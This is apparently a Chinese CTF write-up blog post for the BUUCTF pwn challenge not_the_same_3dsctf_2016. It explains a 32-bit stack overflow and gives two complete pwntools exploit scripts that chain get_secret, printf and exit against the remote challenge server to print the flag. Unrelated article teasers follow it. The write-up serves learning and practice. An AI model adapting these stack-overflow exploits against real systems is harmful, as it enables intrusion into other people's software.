news 2026/4/16 11:07:49

buuctf中的not_the_same_3dsctf_2016

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
buuctf中的not_the_same_3dsctf_2016

首先checksec检查保护机制:

-32位程序

-仅开启了栈不可执行保护

然后使用IDA反汇编工具进行分析:

main函数中有栈溢出漏洞可利用,左边有get_secret函数,同时看出v4到栈底的偏移为45,原本需要填充49字节的垃圾数据,但是最终实验只需要45个字节的垃圾数据

这是get_secret函数内部:

这里打开了flag.txt文本文件,这几行代码的作用就是将flag.txt中的内容写入到fl4g这个变量中去,想就是flag了吧,但是发现我们还得自己去调用printf函数将fl4g的内容打印出来才能拿到flag

这里先拿到flag变量的地址:0x080ECA2D

get_secret函数的地址:0x080489A0

在IDA中找到printf函数的地址:0x0804F0A0

由于栈溢出执行完printf函数后需要正常退出才能打印出flag的值,所以还需用到exit函数的地址,同样在IDA中拿到:0x0804E660

这是exp攻击脚本:

payload需要先执行get_secret函数将flag读取到对应的变量中后我们再将这个变量的值printf出来

from pwn import * context(arch='i386', os='linux', log_level='debug') #io = process('./pwn') # 在本地运行程序。 # gdb.attach(io) # 启动 GDB io = connect('node5.buuoj.cn',26609) # 与在线环境交互。 printf_addr = 0x0804F0A0 get_secret_addr = 0x080489A0 flag_addr = 0x080ECA2D exit_addr = 0x0804E660 offset = 45 payload = b'a'*offset + p32(get_secret_addr) +p32(printf_addr) + p32(exit_addr) + p32(flag_addr) io.sendline(payload) io.interactive()

在IDA中一个一个找函数的地址如果嫌太麻烦的话,攻击脚本还可以这样写:

from pwn import * context(arch='i386', os='linux', log_level='debug') #io = process('./pwn') # 在本地运行程序。 # gdb.attach(io) # 启动 GDB io = connect('node5.buuoj.cn',26609) # 与在线环境交互。 elf = ELF('./pwn') get_secret_addr = elf.symbols["get_secret"] printf_addr = elf.symbols["printf"] exit_addr = elf.symbols["exit"] flag_addr = 0x080ECA2D offset = 45 payload = b'a'*offset+p32(get_secret_addr)+p32(printf_addr)+p32(exit_addr)+p32(flag_addr) io.sendline(payload) io.interactive()

这是运行结果:

-成功打印出flag

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/16 9:24:55

实战指南:5步搭建专业级米哈游抽卡数据分析系统

还在为米哈游游戏的抽卡记录管理而烦恼吗?想要深入了解自己的抽卡概率和保底情况?今天我要为你介绍一个功能强大的开源工具——HoYo.Gacha,这款专业的抽卡分析神器能够完美解决你的所有数据管理需求。 【免费下载链接】HoYo.Gacha ✨ An unof…

作者头像 李华
网站建设 2026/4/16 10:58:10

Unity高斯泼溅渲染技术:从入门到精通的完整实战指南

UnityGaussianSplatting作为前沿的点云渲染技术,正在革命性地改变3D场景的构建方式。本文将通过"问题-解决方案"的递进式叙事逻辑,深入解析如何在不同渲染管线中高效集成高斯泼溅技术,并提供完整的实战案例解析。 【免费下载链接】…

作者头像 李华
网站建设 2026/4/15 9:57:03

12、邮件服务配置与Webmail解决方案全解析

邮件服务配置与Webmail解决方案全解析 1. IMAP服务配置与测试 IMAP(Internet Message Access Protocol)是一种用于接收电子邮件的重要协议。以下是一个示例的 imapd 配置文件: ADDRESS=0 IMAP_CAPABILITY="IMAP4rev1 UIDPLUS CHILDREN NAMESPACE THREAD=ORDERED…

作者头像 李华
网站建设 2026/4/16 9:24:58

23、高级邮件处理:Procmail与SpamAssassin实战指南

高级邮件处理:Procmail与SpamAssassin实战指南 1. Procmail高级功能 Procmail是一款强大的邮件处理工具,能帮助我们高效管理邮件。下面将介绍其一些高级用法。 1.1 日期变量分配与目录创建 首先,我们可以从日期中提取年、月、日信息,并创建相应的目录结构来存储邮件。 …

作者头像 李华
网站建设 2026/4/14 11:23:11

GEO 运营商哪家好?2025 年综合实力排名榜:全场景适配力 TOP5 揭晓

选择 GEO(生成式引擎优化)运营商,关键看 “综合适配力”—— 既能覆盖多场景需求,又能兼顾技术实力、落地实效与服务性价比。基于 220 项技术指标实测、800 企业合作反馈及 35 位行业专家评审,我们更新了 2025 年 GEO…

作者头像 李华